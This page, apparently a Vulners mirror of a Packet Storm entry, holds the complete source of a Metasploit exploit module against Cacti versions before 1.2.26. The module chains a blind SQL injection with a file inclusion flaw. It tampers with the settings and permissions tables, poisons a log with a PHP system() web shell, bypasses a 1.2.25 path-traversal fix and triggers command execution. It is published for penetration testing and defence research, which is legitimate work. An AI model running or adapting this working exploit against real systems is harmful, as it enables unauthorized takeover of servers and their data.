Lucene search
K

Cacti pollers.php SQL Injection / Remote Code Execution

🗓️ 05 Feb 2024 00:00:00Reported by Christophe de la Fuente, Aleksey Solovev, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 364 Views

This module exploits SQL Injection and Local File Inclusion (LFI) vulnerabilities in Cacti versions prior to 1.2.26 to achieve Remote Code Execution (RCE). It requires authentication and the account must have access to the vulnerable PHP script (`pollers.php`)

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Cacti pollers.php SQL Injection / Remote Code Execution Exploit
5 Feb 202400:00
zdt
ATTACKERKB
CVE-2023-49085
22 Dec 202317:15
attackerkb
ATTACKERKB
CVE-2023-49084
21 Dec 202323:15
attackerkb
AlpineLinux
CVE-2023-49084
21 Dec 202323:04
alpinelinux
AlpineLinux
CVE-2023-49085
22 Dec 202316:13
alpinelinux
Circl
CVE-2023-49084
22 Dec 202300:22
circl
Circl
CVE-2023-49085
22 Dec 202318:23
circl
CNNVD
Cacti security breach
21 Dec 202300:00
cnnvd
CNNVD
Cacti SQL Injection Vulnerability
22 Dec 202300:00
cnnvd
CVE
CVE-2023-49084
21 Dec 202323:04
cve
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::SQLi  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
class CactiError < StandardError; end  
class CactiNotFoundError < CactiError; end  
class CactiVersionNotFoundError < CactiError; end  
class CactiNoAccessError < CactiError; end  
class CactiCsrfNotFoundError < CactiError; end  
class CactiLoginError < CactiError; end  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Cacti RCE via SQLi in pollers.php',  
'Description' => %q{  
This exploit module leverages a SQLi (CVE-2023-49085) and a LFI  
(CVE-2023-49084) vulnerability in Cacti versions prior to 1.2.26 to  
achieve RCE. Authentication is needed and the account must have access  
to the vulnerable PHP script (`pollers.php`). This is granted by  
setting the `Sites/Devices/Data` permission in the `General  
Administration` section.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Aleksey Solovev', # Initial research and discovery  
'Christophe De La Fuente' # Metasploit module  
],  
'References' => [  
[ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-vr3c-38wh-g855'], # SQLi  
[ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-pfh9-gwm6-86vp'], # LFI (RCE)  
[ 'CVE', '2023-49085'], # SQLi  
[ 'CVE', '2023-49084'] # LFI (RCE)  
],  
'Platform' => ['unix linux win'],  
'Privileged' => false,  
'Arch' => ARCH_CMD,  
'Targets' => [  
[  
'Linux Command',  
{  
'Arch' => ARCH_CMD,  
'Platform' => [ 'unix', 'linux' ]  
}  
],  
[  
'Windows Command',  
{  
'Arch' => ARCH_CMD,  
'Platform' => 'win'  
}  
]  
],  
'DefaultOptions' => {  
'SqliDelay' => 3  
},  
'DisclosureDate' => '2023-12-20',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]  
}  
)  
)  
  
register_options(  
[  
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),  
OptString.new('PASSWORD', [ true, 'Password to login with', 'admin']),  
OptString.new('TARGETURI', [ true, 'The base URI of Cacti', '/cacti'])  
]  
)  
end  
  
def sqli  
@sqli ||= create_sqli(dbms: SQLi::MySQLi::TimeBasedBlind) do |sqli_payload|  
sqli_final_payload = '"'  
sqli_final_payload << ';select ' unless sqli_payload.start_with?(';') || sqli_payload.start_with?(' and')  
sqli_final_payload << "#{sqli_payload};select * from poller where 1=1 and '%'=\""  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'pollers.php'),  
'method' => 'POST',  
'keep_cookies' => true,  
'vars_post' => {  
'__csrf_magic' => @csrf_token,  
'name' => 'Main Poller',  
'hostname' => 'localhost',  
'timezone' => '',  
'notes' => '',  
'processes' => '1',  
'threads' => '1',  
'id' => '2',  
'save_component_poller' => '1',  
'action' => 'save',  
'dbhost' => sqli_final_payload  
},  
'vars_get' => {  
'header' => 'false'  
}  
)  
end  
end  
  
def get_version(html)  
# This will return an empty string if there is no match  
version_str = html.xpath('//div[@class="versionInfo"]').text  
unless version_str.include?('The Cacti Group')  
raise CactiNotFoundError, 'The web server is not running Cacti'  
end  
unless version_str.match(/Version (?<version>\d{1,2}\.\d{1,2}.\d{1,2})/)  
raise CactiVersionNotFoundError, 'Could not detect the version'  
end  
  
Regexp.last_match[:version]  
end  
  
def get_csrf_token(html)  
html.xpath('//form/input[@name="__csrf_magic"]/@value').text  
end  
  
def do_login  
if @csrf_token.blank? || @cacti_version.blank?  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'method' => 'GET',  
'keep_cookies' => true  
)  
if res.nil?  
raise CactiNoAccessError, 'Could not access `index.php` - no response'  
end  
  
html = res.get_html_document  
if @csrf_token.blank?  
print_status('Getting the CSRF token to login')  
@csrf_token = get_csrf_token(html)  
if @csrf_token.empty?  
# raise an error since without the CSRF token, we cannot login  
raise CactiCsrfNotFoundError, 'Cannot get the CSRF token'  
else  
vprint_good("CSRF token: #{@csrf_token}")  
end  
end  
  
if @cacti_version.blank?  
print_status('Getting the version')  
begin  
@cacti_version = get_version(html)  
vprint_good("Version: #{@cacti_version}")  
rescue CactiError => e  
# We can still log in without the version  
print_bad("Could not get the version, the exploit might fail: #{e}")  
end  
end  
end  
  
print_status("Attempting login with user `#{datastore['USERNAME']}` and password `#{datastore['PASSWORD']}`")  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'method' => 'POST',  
'keep_cookies' => true,  
'vars_post' => {  
'__csrf_magic' => @csrf_token,  
'action' => 'login',  
'login_username' => datastore['USERNAME'],  
'login_password' => datastore['PASSWORD']  
}  
)  
raise CactiNoAccessError, 'Could not login - no response' if res.nil?  
raise CactiLoginError, "Login failure - unexpected HTTP response code: #{res.code}" unless res.code == 302  
  
print_good('Logged in')  
end  
  
def check  
# Step 1 - Check if the target is Cacti and get the version  
print_status('Checking Cacti version')  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'method' => 'GET',  
'keep_cookies' => true  
)  
return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil?  
  
html = res.get_html_document  
begin  
@cacti_version = get_version(html)  
version_msg = "The web server is running Cacti version #{@cacti_version}"  
rescue CactiNotFoundError => e  
return CheckCode::Safe(e.message)  
rescue CactiVersionNotFoundError => e  
return CheckCode::Unknown(e.message)  
end  
  
if Rex::Version.new(@cacti_version) < Rex::Version.new('1.2.26')  
print_good(version_msg)  
else  
return CheckCode::Safe(version_msg)  
end  
  
# Step 2 - Login  
@csrf_token = get_csrf_token(html)  
return CheckCode::Unknown('Could not get the CSRF token from `index.php`') if @csrf_token.empty?  
  
begin  
do_login  
rescue CactiError => e  
return CheckCode::Unknown("Login failed: #{e}")  
end  
  
@logged_in = true  
  
# Step 3 - Check if the user has enough permissions to reach `pollers.php`  
print_status('Checking permissions to access `pollers.php`')  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'pollers.php'),  
'method' => 'GET',  
'keep_cookies' => true,  
'headers' => {  
'X-Requested-With' => 'XMLHttpRequest'  
}  
)  
return CheckCode::Unknown('Could not access `pollers.php` - no response') if res.nil?  
return CheckCode::Safe('Could not access `pollers.php` - insufficient permissions') if res.code == 401  
return CheckCode::Unknown("Could not access `pollers.php` - unexpected HTTP response code: #{res.code}") unless res.code == 200  
  
# Step 4 - Check if it is vulnerable to SQLi  
print_status('Attempting SQLi to check if the target is vulnerable')  
return CheckCode::Safe('Blind SQL injection test failed') unless sqli.test_vulnerable  
  
CheckCode::Vulnerable  
end  
  
def get_ext_link_id  
# Get an unused External Link ID with a time-based SQLi  
@ext_link_id = rand(1000..9999)  
loop do  
_res, elapsed_time = Rex::Stopwatch.elapsed_time do  
sqli.raw_run_sql("if(id,sleep(#{datastore['SqliDelay']}),null) from external_links where id=#{@ext_link_id}")  
end  
break if elapsed_time < datastore['SqliDelay']  
  
@ext_link_id = rand(1000..9999)  
end  
vprint_good("Got external link ID #{@ext_link_id}")  
end  
  
def exploit  
# `#do_login` will take care of populating `@csrf_token` and `@cacti_version`  
unless @logged_in  
begin  
do_login  
rescue CactiError => e  
fail_with(Failure::NoAccess, "Login failure: #{e}")  
end  
end  
  
@log_file_path = "log/cacti#{rand(1..999)}.log"  
print_status("Backing up the current log file path and adding a new path (#{@log_file_path}) to the `settings` table")  
@log_setting_name_bak = '_path_cactilog'  
sqli.raw_run_sql(";update settings set name='#{@log_setting_name_bak}' where name='path_cactilog'")  
@do_settings_cleanup = true  
sqli.raw_run_sql(";insert into settings (name,value) values ('path_cactilog','#{@log_file_path}')")  
register_file_for_cleanup(@log_file_path)  
  
print_status("Inserting the log file path `#{@log_file_path}` to the external links table")  
log_file_path_lfi = "../../#{@log_file_path}"  
# Some specific path tarversal needs to be prepended to bypass the v1.2.25 fix in `link.php` (line 79):  
# $file = $config['base_path'] . "/include/content/" . str_replace('../', '', $page['contentfile']);  
log_file_path_lfi = "....//....//#{@log_file_path}" if @cacti_version && Rex::Version.new(@cacti_version) == Rex::Version.new('1.2.25')  
get_ext_link_id  
sqli.raw_run_sql(";insert into external_links (id,sortorder,enabled,contentfile,title,style) values (#{@ext_link_id},2,'on','#{log_file_path_lfi}','Log-#{rand_text_numeric(3..5)}','CONSOLE')")  
@do_ext_link_cleanup = true  
  
print_status('Getting the user ID and setting permissions (it might take a few minutes)')  
user_id = sqli.run_sql("select id from user_auth where username='#{datastore['USERNAME']}'")  
fail_with(Failure::NotFound, 'User ID not found') unless user_id =~ (/\A\d+\Z/)  
sqli.raw_run_sql(";insert into user_auth_realm (realm_id,user_id) values (#{10000 + @ext_link_id},#{user_id})")  
@do_perms_cleanup = true  
  
print_status('Logging in again to apply new settings and permissions')  
# Keep a copy of the cookie_jar and the CSRF token to be used later by the cleanup routine and remove all cookies to login again.  
# This is required since this new session will block after triggering the payload and we won't be able to reuse it to cleanup.  
cookie_jar_bak = cookie_jar.clone  
cookie_jar.clear  
csrf_token_bak = @csrf_token  
# Setting `@csrf_token` to nil will force `#do_login` to get a fresh CSRF token  
@csrf_token = nil  
begin  
do_login  
rescue CactiError => e  
fail_with(Failure::NoAccess, "Login failure: #{e}")  
end  
  
print_status('Poisoning the log')  
header_name = rand_text_alpha(1).upcase  
sqli.raw_run_sql(" and updatexml(rand(),concat(CHAR(60),'?=system($_SERVER[\\'HTTP_#{header_name}\\']);?>',CHAR(126)),null)")  
  
print_status('Triggering the payload')  
# Expecting no response  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'link.php'),  
'method' => 'GET',  
'keep_cookies' => true,  
'headers' => {  
header_name => payload.encoded  
},  
'vars_get' => {  
'id' => @ext_link_id,  
'headercontent' => 'true'  
}  
}, 0)  
  
# Restore the cookie_jar and the CSRF token to run cleanup without being blocked  
cookie_jar.clear  
self.cookie_jar = cookie_jar_bak  
@csrf_token = csrf_token_bak  
end  
  
def cleanup  
super  
  
if @do_ext_link_cleanup  
print_status('Cleaning up external link using SQLi')  
sqli.raw_run_sql(";delete from external_links where id=#{@ext_link_id}")  
end  
  
if @do_perms_cleanup  
print_status('Cleaning up permissions using SQLi')  
sqli.raw_run_sql(";delete from user_auth_realm where realm_id=#{10000 + @ext_link_id}")  
end  
  
if @do_settings_cleanup  
print_status('Cleaning up the log path in `settings` table using SQLi')  
sqli.raw_run_sql(";delete from settings where name='path_cactilog' and value='#{@log_file_path}'")  
sqli.raw_run_sql(";update settings set name='path_cactilog' where name='#{@log_setting_name_bak}'")  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation